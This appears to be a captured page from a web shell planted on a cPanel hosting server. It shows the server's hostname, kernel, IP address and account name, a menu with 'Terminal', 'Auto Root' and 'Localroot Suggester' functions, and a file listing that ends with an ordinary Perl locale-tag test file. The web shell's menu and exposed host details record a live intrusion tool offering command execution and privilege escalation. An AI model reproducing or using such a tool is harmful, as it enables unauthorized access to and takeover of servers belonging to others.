Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
I18N-LangTags /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_about_verbose.t
2.2
KB
-r--r--r--
2014-12-27 11:48
05_main.t
1.76
KB
-r--r--r--
2014-12-27 11:48
07_listy.t
712
B
-r--r--r--
2014-12-27 11:48
10_http.t
3.07
KB
-r--r--r--
2014-12-27 11:48
20_locales.t
975
B
-r--r--r--
2014-12-27 11:48
50_super.t
1.94
KB
-r--r--r--
2014-12-27 11:48
55_supers_strict.t
1.51
KB
-r--r--r--
2014-12-27 11:48
80_all_env.t
1.71
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; use Test::More tests => 21; BEGIN {use_ok('I18N::LangTags', ':ALL')}; note("Perl v$], I18N::LangTags v$I18N::LangTags::VERSION"); note("Loaded from " . ($INC{'I18N/LangTags.pm'} || "??")); foreach ('C', 'POSIX') { # It seems that the acceptable result is either '' or undef my $tag = locale2language_tag($_); is($tag, defined $tag ? '' : undef, "locale2language_tag('$_')"); } foreach (['en', 'en'], ['en_US', 'en-us'], ['en_US.ISO8859-1', 'en-us'], ['eu_mt', 'eu-mt'], ['eu', 'eu'], ['it', 'it'], ['it_IT', 'it-it'], ['it_IT.utf8', 'it-it'], ['it_IT.utf8@euro', 'it-it'], ['it_IT@euro', 'it-it'], ['zh_CN.gb18030', 'zh-cn'], ['zh_CN.gbk', 'zh-cn'], ['zh_CN.utf8', 'zh-cn'], ['zh_HK', 'zh-hk'], ['zh_HK.utf8', 'zh-hk'], ['zh_TW', 'zh-tw'], ['zh_TW.euctw', 'zh-tw'], ['zh_TW.utf8', 'zh-tw'], ) { my ($tag, $expect) = @$_; is(lc locale2language_tag($tag), $expect, "locale2language_tag('$tag')"); }